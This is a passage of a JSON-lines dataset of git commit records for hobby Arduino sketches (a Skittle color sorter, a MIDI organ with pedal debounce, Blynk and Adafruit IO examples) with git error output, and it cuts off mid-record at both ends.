\/\/ Read all the lines of the reply from server and print them to Serial\n while(client.available()) {\n String line = client.readStringUntil('\\r');\n Serial.print(line);\n }\n}\n\nvoid connectWiFi()\n{\n byte ledStatus = LOW;\n \n \/\/ Set WiFi mode to station (as opposed to AP or AP_STA)\n WiFi.mode(WIFI_STA);\n \/\/ WiFI.begin([ssid], [passkey]) initiates a WiFI connection\n \/\/ to the stated [ssid], using the [passkey] as a WPA, WPA2,\n \/\/ or WEP passphrase.\n \n WiFi.begin(WiFiSSID, WiFiPSK);\n \n \/\/ Use the WiFi.status() function to check if the ESP8266\n \/\/ is connected to a WiFi network. \n while (WiFi.status() != WL_CONNECTED)\n {\n \/\/ Blink the LED\n digitalWrite(LED_PIN, ledStatus); \/\/ Write LED high\/low\n ledStatus = (ledStatus == HIGH) ? LOW : HIGH;\n \n \/\/ Delays allow the ESP8266 to perform critical tasks\n \/\/ defined outside of the sketch. These tasks include\n \/\/ setting up, and maintaining, a WiFi connection.\n delay(100);\n \/\/ Potentially infinite loops are generally dangerous.\n \/\/ Add delays -- allowing the processor to perform other\n \/\/ tasks -- wherever possible.\n Serial.println(WiFi.status());\n }\n}\n\nvoid initHardware()\n{\n Serial.begin(115200);\n pinMode(LED_PIN, OUTPUT);\n\n \/\/ Set up the pushbutton pins to be an input:\n pinMode(button1Pin, INPUT);\n pinMode(button2Pin, INPUT);\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ESP8266\/Client-Server\/ESP8266_Switch_Client\/ESP8266_Switch_Client.ino' did not match any file(s) known to git\n","license":"mpl-2.0","lang":"Arduino"} {"commit":"d636f32450c32ec78941f0dee0f2ffa585097227","subject":"this is often enough \u2026","message":"this is often enough \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Motion.ino","new_file":"ArduinoClient\/Motion.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"1d77540b4dfb321972fcb0f5b7974a54a727756e","subject":"hmm, we need a astart for homing","message":"hmm, we need a astart for homing\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/TMC43x.ino","new_file":"ArduinoClient\/TMC43x.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"37e1e947e3b4c664e9166b96ff88ceb4c5de8662","subject":"ok we got a defined length queue","message":"ok we got a defined length queue\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/ArduinoClient.ino","new_file":"ArduinoClient\/ArduinoClient.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"8618f3bf9a78d7d8a44ac0be1dede3e42f443331","subject":"BUG : SD Card Intialization failed","message":"BUG : SD Card Intialization failed\n","repos":"TheBeachMaster\/DemoIOT","old_file":"IOTSln\/William_Code\/William_Code.ino","new_file":"IOTSln\/William_Code\/William_Code.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TheBeachMaster\/DemoIOT.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"a6c3cbb688ff8b6ddc656dd39a75614749dee4f9","subject":"Fix white color","message":"Fix white color\n","repos":"mcrosson\/arduino_safe_lighting,mcrosson\/arduino_safe_lighting","old_file":"src\/src.ino","new_file":"src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mcrosson\/arduino_safe_lighting.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"7fd03980c89191956bfd7987ef0c03072c341115","subject":"Initial Commit","message":"Initial Commit\n","repos":"CharmySoft\/skittle-color-sorter","old_file":"skittle-color-sorter.ino","new_file":"skittle-color-sorter.ino","new_contents":"\/*\n Skittle Color Sorter\n\n This sketch programs the Skittle Color Sorter that we\n assembled.\n*\/\n\n\/\/ The circuit:\n\/\/ * Top Servo\n\/\/ Digital pin 13\nconst int pinTopServo = 13;\n\/\/ * Bottom Servo (Arm)\n\/\/ Digital pin 10\nconst int pinBtmServo = 10;\n\/\/ * Color Sensor\n\/\/ SDA pin to analog pin 4\n\/\/ SCL pin to analog pin 5\n\/\/ Color View Red pin to diginal pin 7\n\/\/ Color View Green pin to diginal pin 9\n\/\/ Color View Blue pin to diginal pin 6\n\/\/ * LCD\n\/\/ RS pin to digital pin 12\nconst int pinLcdRS = 12;\n\/\/ Enable pin to digital pin 11\nconst int pinLcdEnable = 11;\n\/\/ LCD D4 pin to digital pin 5\nconst int pinLcdD4 = 5;\n\/\/ LCD D5 pin to digital pin 4\nconst int pinLcdD5 = 4;\n\/\/ LCD D6 pin to digital pin 3\nconst int pinLcdD6 = 3;\n\/\/ LCD D7 pin to digital pin 2\nconst int pinLcdD7 = 2;\n\/\/ LCD R\/W pin to ground\n\n\n\/\/ Constants\nconst boolean topServoTimeoutEnable = true; \/\/ Enable the timeout for the top servo\nconst int topServoTimeout = 6000; \/\/ Timeout to determine if the top servo is stuck\nconst int rewindingTime = 500; \/\/ Time in milliseconds when the top servo rewinds to solve jam\n\n\/\/ Include libraries\n#include <LiquidCrystal.h> \/\/ LCD display\n#include <Servo.h> \/\/ Servos\n#include \"Adafruit_TCS34725.h\" \/\/ Color Sensor\n\n\/\/ Initialize the display with the numbers of the interface pins\nLiquidCrystal lcd(pinLcdRS, pinLcdEnable, pinLcdD4, pinLcdD5, pinLcdD6, pinLcdD7);\n\/\/ Create the object for the top continuous rotation servo\nServo servoTop;\n\/\/ Create the object for the bottom standard servo\nServo servoBtm;\n\/\/ Create the color sensor object\nAdafruit_TCS34725 tcs = Adafruit_TCS34725();\n\n\/\/ Variables\nint skittleCount = 0; \/\/ The number of skittles sorted\nunsigned long lastSkittleTime = 0; \/\/ Time when the last skittle was being sorted\nint topServoSpeed = 0; \/\/ The speed in which the top servo moves\nboolean isColorBeingMeasured = false; \/\/ Is the color sensor measuring the Skittle right now\n\n\nvoid setup() {\n \/\/ Set up the serial for debugging purposes\n Serial.begin(9600);\n\n \/\/ Set up the LCD's number of columns and rows:\n lcd.begin(16, 2);\n\n \/\/ Attach the servos on corresponding pins to the servo objects\n servoTop.attach(pinTopServo);\n servoBtm.attach(pinBtmServo);\n\n if(!tcs.begin()){\n \/\/ If the color sensor failed to initialize, print out an error\n lcd.print(\"ERR: Color Sensor Connection Error\");\n Serial.println(\"ERR: Color Sensor connection can't be established.\");\n while (1);\n }\n \n lcd.print(\"Color Sorter\");\n\n}\n\nvoid updateTopServo(){\n \/\/ Is the servo going the opposite direction\n static boolean rewinding = false;\n\n \/\/ Set the speed of the top servo\n \/\/ 0 being full-speed clockwise\n \/\/ 90 being no movement\n \/\/ 180 being full-speed counterclockwise\n servoTop.write(rewinding? 180: topServoSpeed);\n\n \/\/ If color is being measured right now, skip the jam detection\n if(isColorBeingMeasured)\n return;\n\n \/\/ If timeout is NOT enabled, skip the jam detection\n if(!topServoTimeoutEnable)\n return;\n\n \/\/ If the top servo gets stuck, start rewinding\n if(millis() - lastSkittleTime > topServoTimeout){\n Serial.println(\"Top servo is stuck; Direction reversed.\");\n \/\/ Reserve the top servo's direction\n rewinding = true;\n \n lastSkittleTime = millis();\n }\n\n \/\/ If rewinding more than the set time, set direction back to normal\n if(rewinding && millis() - lastSkittleTime > rewindingTime){\n rewinding = false;\n }\n \n}\n\nvoid updateBtmServo(){\n \n \/\/ Calculate the angle of the bottom servo arm\n static int btmAngle = 0;\n static bool btmReversed = false;\n btmAngle += btmReversed ? -10 : 10;\n \n \/\/ The bottom arm angle range from 30 to 150 degrees\n if (btmAngle >= 150)\n btmReversed = true;\n if (btmAngle <= 30)\n btmReversed = false;\n \n \/\/ Set the angle of the shaft (in degrees), ranging from 0 to 180\n \/\/servoBtm.write(90);\n servoBtm.write(btmAngle);\n}\n\nvoid updateColorSensor(){\n \/\/ Get color measurement values\n uint16_t r, g, b, c;\n delay(100); \/\/ takes 50ms to read\n tcs.getRawData(&r, &g, &b, &c);\n\n \/\/ If clear value is less than 300\n if(c < 300 && !isColorBeingMeasured){\n \/\/ This is when the color sensor sees into the hole\n \n if (millis() - lastSkittleTime > 1000){\n skittleCount ++;\n Serial.println(millis() - lastSkittleTime);\n lastSkittleTime = millis();\n\n \/\/ Slow down the top servo's speed for better accuracy\n topServoSpeed = 90;\n Serial.println(\"Start measuring this Skittle's color.\");\n isColorBeingMeasured = true;\n }\n \n }\n\n if(c < 300){\n Serial.print(\"R: \"); Serial.print(r, DEC); Serial.print(\" \");\n Serial.print(\"G: \"); Serial.print(g, DEC); Serial.print(\" \");\n Serial.print(\"B: \"); Serial.print(b, DEC); Serial.print(\" \");\n Serial.print(\"C: \"); Serial.print(c, DEC); Serial.print(\" \");\n Serial.println(\" \");\n \n if (millis() - lastSkittleTime > 1000){\n topServoSpeed = 0;\n Serial.println(\"Finish measuring.\");\n isColorBeingMeasured = false;\n lastSkittleTime = millis();\n \n }\n }\n\n\/*\n Serial.print(\"Color Temp: \"); Serial.print(colorTemp, DEC); Serial.print(\" K - \");\n Serial.print(\"Lux: \"); Serial.print(lux, DEC); Serial.print(\" - \");\n Serial.print(\"R: \"); Serial.print(r, DEC); Serial.print(\" \");\n Serial.print(\"G: \"); Serial.print(g, DEC); Serial.print(\" \");\n Serial.print(\"B: \"); Serial.print(b, DEC); Serial.print(\" \");\n Serial.print(\"C: \"); Serial.print(c, DEC); Serial.print(\" \");\n Serial.println(\" \");\n*\/\n\n \n\n}\n\nvoid loop() {\n \/\/ static byte frames = 0;\n \n lcd.clear();\n lcd.print(\"Count: \");lcd.print(skittleCount, DEC);\n\n \/\/ Update the top servo\n \/\/if(frames == 0)\n updateTopServo();\n \n \/\/ Update the bottom servo (arm)\n \/\/if(frames == 0)\n \/\/updateBtmServo();\n\n \/\/ Update the color sensor\n updateColorSensor();\n\n \/\/ Because the color sensor needs to measure the color more frequently, \n \/\/ instead of delaying the main loop, which will affect the color sensor's\n \/\/ refresh rate, a new variable was introduced to control and manually \n \/\/ delay certain components while keep the color sensor up and running.\n \/\/frames ++;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'skittle-color-sorter.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"71d79062a266ed3fcca245b8215bbaf54f822373","subject":"ENH: Debounce on pedals, initial framework.","message":"ENH: Debounce on pedals, initial framework.\n\nDebounce value likely will need further tweaking.\n","repos":"JDWarner\/organduino","old_file":"sketches\/midi_organ_debounce\/midi_organ_debounce.ino","new_file":"sketches\/midi_organ_debounce\/midi_organ_debounce.ino","new_contents":"#include <midi_Defs.h>\n#include <midi_Namespace.h>\n#include <midi_Settings.h>\n#include <midi_Message.h>\n#include <MIDI.h>\n\/*\n Test serial-MIDI commands from a 61-key keyboard.\n\n The circuit:\n * Up to five OrganDuino 2.0 PCB shields populated with diodes\n * 61-key organ manuals soldered in with buss soldered to a Drive Pin thru-hole\n * Solder jumpers on back for each manual properly set\n * 32-key AGO pedalboard soldered in to first\n\n created 2016-2019 by @JDWarner and @mscross\n*\/\n\n#define keyON 127\n#define keyOFF 0\n#define no false\n#define debounce_value 24\n\n\/\/ Initialize MIDI\nMIDI_CREATE_DEFAULT_INSTANCE();\n\n\/\/ constants won't change. They're used here to\n\/\/ set pin numbers for first 2 octaves\nconst int keyPins[] = {28, 26, 24, 22, 13, 12, 11, 10, 9, 8, 7, 6, 14, 15, 16, 17, 18, 19, 20, 21, 27, 25, 23, 29, 31, 33, 35, 37, 39, 41, 43, 45, 47, 49, 51, 53, 66, 65, 64, 63, 62, 61, 60, 59, 58, 57, 56, 55, 54, 52, 50, 48, 46, 44, 42, 40, 38, 36, 34, 32, 30,};\nconst int pedalPins[] = {28, 26, 24, 22, 13, 12, 11, 10, 9, 8, 7, 6, 14, 15, 16, 17, 18, 19, 20, 21, 27, 25, 23, 29, 31, 33, 35, 37, 39, 41, 43, 45,};\nconst int manualPins[] = {5, 4, 3, 2, 67, }; \/\/ drive wire(s) for manuals are: {5, 4, 3, 2, 67, }\nconst int pedalPin = 69; \/\/ drive wire for pedals is 69 with appropriate jumper\n\/*\n Note for reference, the analog -> digital pin mappings for the Mega are:\n A0 = 54\n A1 = 55\n A2 = 56\n A3 = 57\n A4 = 58\n A5 = 59\n A6 = 60\n A7 = 61\n A8 = 62\n A9 = 63\n A10 = 64\n A11 = 65\n A12 = 66\n A13 = 67\n A14 = 68\n A15 = 69\n*\/\n\n\/\/ define how large some things are (matrix size)\nconst int numKeys = 61; \/\/ full organ manual, also length of keyPins and midiKeyNotes\nconst int numPedals = 32; \/\/ full AGO 32-key pedalboard\nconst int numManuals = 5; \/\/ number of manuals\n\nconst unsigned char midiKeyNotes[numKeys] = {36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, };\nconst unsigned char midiChannels[numManuals] = {1, 2, 3, 4, 5, }; \/\/ Five manuals in first 5 MIDI channels\nconst unsigned char pedalChannel = 16; \/\/ Pedals always channel 16\n\n\/\/ State of all keys in a 2D multidimensional array\nbool keyStates[numManuals][numKeys] = {\n {no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, },\n {no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, },\n {no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, },\n {no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, },\n {no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, },\n};\n\n\/\/ State of all pedals in a 1D array\nbool pedalStates[numPedals] = {no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, no, };\nunsigned char pedalDebounce[numPedals] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, };\n\n\n\/\/ Convenience func to convert a boolean to the proper MIDI key velocity\nint stateMIDIvalue(bool state) {\n if (state == true) {\n return keyON;\n }\n else {\n return keyOFF;\n }\n}\n\n\n\/\/ simple function to compare current state with new read\n\/\/ if different, state and LED are updated\n\/\/ We're using input_pullup so the switch is active when LOW!\n\/\/ Note: Internally changing `state` requires call-by-reference\nvoid keyChange(bool value, bool &state, int key, int channel) {\n \/\/ Compare them - `state` records inverse of switch read\n if (value == state) { \/\/ Equal means a change\n\n \/\/ Update values in state record\n state = not value;\n\n \/\/ If there is a state change, send a MIDI event\n MIDI.sendNoteOn(midiKeyNotes[key], stateMIDIvalue(state), channel);\n }\n}\n\n\/\/ same function as above, but take into effect debounce.\nvoid keyChangeDebounce(bool value, bool &state, char &debounce, int key, int channel) {\n \/\/ Compare them - `state` records inverse of switch read\n if (value == state) { \/\/ Equal means a change\n\n if (debounce == 0) { \/\/ Zero is no recent change, accept change\n state = not value;\n debounce = debounce_value;\n }\n\n \/\/ If there is a state change, send a MIDI event\n MIDI.sendNoteOn(midiKeyNotes[key], stateMIDIvalue(state), channel);\n }\n\n \/\/ Decrement debounce every loop for every key, even if unchanged.\n if (debounce != 0) {\n --debounce;\n }\n}\n\n\/\/ function to handle the loop over a given rank, updating states\nvoid keyPoll(bool (&states)[numKeys], int arraySize, int rank) {\n for(int key=0; key<arraySize; key++){\n \/\/ run through all switches, reading their values\n \/\/ pass results to keyChange which will dispatch a MIDI event if needed\n keyChange(digitalRead(keyPins[key]), states[key], key, midiChannels[rank]);\n }\n}\n\n\/\/ function to loop over pedals\nvoid pedalPoll(bool (&states)[numPedals], char (&debounce)[numPedals], int arraySize, int pedalMidiChannel) {\n for(int key=0; key<arraySize; key++){\n \/\/ run through all switches, reading their values\n \/\/ pass results to keyChange which will dispatch a MIDI event if needed\n keyChangeDebounce(digitalRead(pedalPins[key]), states[key], debounce[key], key, pedalMidiChannel);\n }\n}\n\n\nvoid setup() {\n \/\/ Start the Serial interface\n MIDI.begin(1);\n Serial.begin(115200);\n\n \/\/ drive pins per rank\n for(int d=0; d<numManuals; d++){\n pinMode(manualPins[d], OUTPUT);\n digitalWrite(manualPins[d], HIGH);\n }\n\n \/\/ pedal pin\n pinMode(pedalPin, OUTPUT);\n digitalWrite(pedalPin, HIGH);\n\n \/\/ initialize the organ keys' pins as inputs\n for(int k=0; k<numKeys; k++){\n pinMode(keyPins[k], INPUT_PULLUP);\n }\n}\n\n\nvoid loop() {\n \/\/ read manuals\n for(int manual=0; manual<numManuals; manual++){\n \/\/ pull the drive pin for this manual to GND\n digitalWrite(manualPins[manual], LOW);\n\n \/\/ poll all keys, sending MIDI events if warranted\n keyPoll(keyStates[manual], numKeys, manual);\n\n \/\/ return the drive pin to +5V (off)\n digitalWrite(manualPins[manual], HIGH);\n }\n\n \/\/ read the pedals with debounce\n digitalWrite(pedalPin, LOW);\n pedalPoll(pedalStates, pedalDebounce, numPedals, pedalChannel);\n digitalWrite(pedalPin, HIGH);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketches\/midi_organ_debounce\/midi_organ_debounce.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"cd718f86ee65a96297235e62233256b566938b4f","subject":"Delete Controlupdate(Old).ino","message":"Delete Controlupdate(Old).ino","repos":"nitricx\/Tank_Automation","old_file":"Controlupdate(Old).ino","new_file":"Controlupdate(Old).ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nitricx\/Tank_Automation.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"a34a8fdda78c8668889b756190a16e56ae524cad","subject":"Added arduino sketch for reading pressure switch","message":"Added arduino sketch for reading pressure switch\n","repos":"jaburns\/race-timer","old_file":"ardu.ino","new_file":"ardu.ino","new_contents":"\nvoid setup () {\n Serial.begin (115200);\n pinMode (2, INPUT);\n}\n\nvoid loop () {\n if (digitalRead (2)) {\n Serial.println(\"\");\n delay (2000);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ardu.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5bd837ac654622ec873952813bfe64bcc740c480","subject":"Simple push example","message":"Simple push example\n","repos":"CedricFinance\/blynk-library,ivankravets\/blynk-library,okhiroyuki\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,johan--\/blynk-library,ivankravets\/blynk-library,csicar\/blynk-library,CedricFinance\/blynk-library,sstocker46\/blynk-library,flashvnn\/blynk-library,al1271\/blynk-library,okhiroyuki\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,johan--\/blynk-library,CedricFinance\/blynk-library,flashvnn\/blynk-library,csicar\/blynk-library,sstocker46\/blynk-library,radut\/blynk-library,blynkkk\/blynk-library,okhiroyuki\/blynk-library,csicar\/blynk-library,CedricFinance\/blynk-library,johan--\/blynk-library,flashvnn\/blynk-library,al1271\/blynk-library,okhiroyuki\/blynk-library,flashvnn\/blynk-library,sstocker46\/blynk-library,csicar\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,johan--\/blynk-library,al1271\/blynk-library,al1271\/blynk-library,sstocker46\/blynk-library,blynkkk\/blynk-library,radut\/blynk-library,radut\/blynk-library,radut\/blynk-library","old_file":"examples\/Widgets\/PushNotification\/SimplestPushNotification.ino","new_file":"examples\/Widgets\/PushNotification\/SimplestPushNotification.ino","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * Simple push notification example\n *\n * App dashboard setup:\n * Push widget\n *\n * When device connected to server - it sends push notification to your phone\n *\n **************************************************************\/\n\/\/#define BLYNK_DEBUG\n#define BLYNK_PRINT Serial\n#include <SPI.h>\n#include <Ethernet.h>\n#include <BlynkSimpleEthernet.h>\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\nvoid setup()\n{\n Serial.begin(9600);\n Blynk.begin(auth);\n while (!Blynk.connect()) {\n \/\/ Wait until connected\n }\n\n \/\/ Notify immediately on startup\n Blynk.notify(\"Device started\");\n}\n\nvoid loop()\n{\n Blynk.run();\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Widgets\/PushNotification\/SimplestPushNotification.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"70445b1fc01a8b0f5b3a829d445c4848a408f290","subject":"New Example pinDefLatch","message":"New Example pinDefLatch\n\ndemo showing momentary pushbutton acting as latching switch","repos":"philbowles\/esparto,philbowles\/esparto,philbowles\/esparto,philbowles\/esparto","old_file":"examples\/ESPArto_pinDefLatch\/ESPArto_pinDefLatch.ino","new_file":"examples\/ESPArto_pinDefLatch\/ESPArto_pinDefLatch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/philbowles\/esparto.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"0f7a8580518243abcaddf0f750acd5a901612537","subject":"adds analog in example","message":"adds analog in example\n","repos":"adafruit\/adafruit-io-basics,adafruit\/adafruit-io-basics","old_file":"arduino-cc3000\/analog-in\/analog-in.ino","new_file":"arduino-cc3000\/analog-in\/analog-in.ino","new_contents":"\/***************************************************\n Adafruit MQTT Library CC3000 Example\n\n Designed specifically to work with the Adafruit WiFi products:\n ----> https:\/\/www.adafruit.com\/products\/1469\n\n Adafruit invests time and resources providing this open source code,\n please support Adafruit and open-source hardware by purchasing\n products from Adafruit!\n\n Written by Limor Fried\/Ladyada for Adafruit Industries.\n Adafruit IO example additions by Todd Treece.\n MIT license, all text above must be included in any redistribution\n ****************************************************\/\n#include <Adafruit_SleepyDog.h>\n#include <Adafruit_CC3000.h>\n#include <SPI.h>\n#include \"utility\/debug.h\"\n#include \"Adafruit_MQTT.h\"\n#include \"Adafruit_MQTT_CC3000.h\"\n\n\/****************************** Pins ******************************************\/\n\n#define PHOTOCELL 0 \/\/ analog 0\n#define ADAFRUIT_CC3000_IRQ 3 \/\/ MUST be an interrupt pin!\n#define ADAFRUIT_CC3000_VBAT 5 \/\/ VBAT & CS can be any digital pins.\n#define ADAFRUIT_CC3000_CS 10\n\/\/ Use hardware SPI for the remaining pins\n\/\/ On an UNO, SCK = 13, MISO = 12, and MOSI = 11\n\n\/************************* WiFi Access Point *********************************\/\n\n#define WLAN_SSID \"...your SSID...\" \/\/ can't be longer than 32 characters!\n#define WLAN_PASS \"...your password...\"\n#define WLAN_SECURITY WLAN_SEC_WPA2 \/\/ Can be: WLAN_SEC_UNSEC, WLAN_SEC_WEP,\n \/\/ WLAN_SEC_WPA or WLAN_SEC_WPA2\n\n\/************************* Adafruit.io Setup *********************************\/\n\n#define AIO_SERVER \"io.adafruit.com\"\n#define AIO_SERVERPORT 1883\n#define AIO_USERNAME \"...your AIO username (see https:\/\/accounts.adafruit.com)...\"\n#define AIO_KEY \"...your AIO key...\"\n\n\/************ Global State (you don't need to change this!) ******************\/\n\n\/\/ Setup the main CC3000 class, just like a normal CC3000 sketch.\nAdafruit_CC3000 cc3000 = Adafruit_CC3000(ADAFRUIT_CC3000_CS, ADAFRUIT_CC3000_IRQ, ADAFRUIT_CC3000_VBAT);\n\n\/\/ Store the MQTT server, client ID, username, and password in flash memory.\n\/\/ This is required for using the Adafruit MQTT library.\nconst char MQTT_SERVER[] PROGMEM = AIO_SERVER;\n\/\/ Set a unique MQTT client ID using the AIO key + the date and time the sketch\n\/\/ was compiled (so this should be unique across multiple devices for a user,\n\/\/ alternatively you can manually set this to a GUID or other random value).\nconst char MQTT_CLIENTID[] PROGMEM = AIO_KEY __DATE__ __TIME__;\nconst char MQTT_USERNAME[] PROGMEM = AIO_USERNAME;\nconst char MQTT_PASSWORD[] PROGMEM = AIO_KEY;\n\n\/\/ Setup the CC3000 MQTT class by passing in the CC3000 class and MQTT server and login details.\nAdafruit_MQTT_CC3000 mqtt(&cc3000, MQTT_SERVER, AIO_SERVERPORT, MQTT_CLIENTID, MQTT_USERNAME, MQTT_PASSWORD);\n\n\/\/ You don't need to change anything below this line!\n#define halt(s) { Serial.println(F( s )); while(1); }\n\n\/\/ CC3000connect is a helper function that sets up the CC3000 and connects to\n\/\/ the WiFi network. See the cc3000helper.cpp tab above for the source!\nboolean CC3000connect(const char* wlan_ssid, const char* wlan_pass, uint8_t wlan_security);\n\n\/****************************** Feeds ***************************************\/\n\n\/\/ Setup a feed called 'photocell' for subscribing to changes.\n\/\/ Notice MQTT paths for AIO follow the form: <username>\/feeds\/<feedname>\nconst char PHOTOCELL_FEED[] PROGMEM = AIO_USERNAME \"\/feeds\/photocell\";\nAdafruit_MQTT_Publish photocell = Adafruit_MQTT_Publish(&mqtt, PHOTOCELL_FEED);\n\n\/*************************** Sketch Code ************************************\/\n\n\/\/ photocell state\nint current = 0;\nint last = -1;\n\nvoid setup() {\n\n Serial.begin(115200);\n\n Serial.println(F(\"Adafruit IO Example:\"));\n Serial.print(F(\"Free RAM: \")); Serial.println(getFreeRam(), DEC);\n\n \/\/ Initialise the CC3000 module\n Serial.print(F(\"\\nInit the CC3000...\"));\n if (! cc3000.begin())\n halt(\"Failed\");\n\n \/\/ attempt wifi connection\n while (! CC3000connect(WLAN_SSID, WLAN_PASS, WLAN_SECURITY)) {\n Serial.println(F(\"Retrying WiFi\"));\n while(1);\n }\n Serial.println(F(\"Connected to WiFi!\"));\n\n \/\/ connect to adafruit io\n connect();\n\n}\n\nvoid loop() {\n\n \/\/ Make sure to reset watchdog every loop iteration!\n Watchdog.reset();\n\n \/\/ ping adafruit io a few times to make sure we remain connected\n if(! mqtt.ping(3)) {\n \/\/ reconnect to adafruit io\n if(! mqtt.connected())\n connect();\n }\n\n \/\/ grab the current state of the photocell\n current = analogRead(PHOTOCELL);\n\n \/\/ return if the value hasn't changed\n if(current == last)\n return;\n\n \/\/ Now we can publish stuff!\n Serial.print(F(\"\\nSending photocell value: \"));\n Serial.print(current);\n Serial.print(\"... \");\n\n if (! photocell.publish(current))\n Serial.println(F(\"Failed.\"));\n else\n Serial.println(F(\"Success!\"));\n\n \/\/ save the photocell state\n last = current;\n\n}\n\n\/\/ connect to adafruit io via MQTT\nvoid connect() 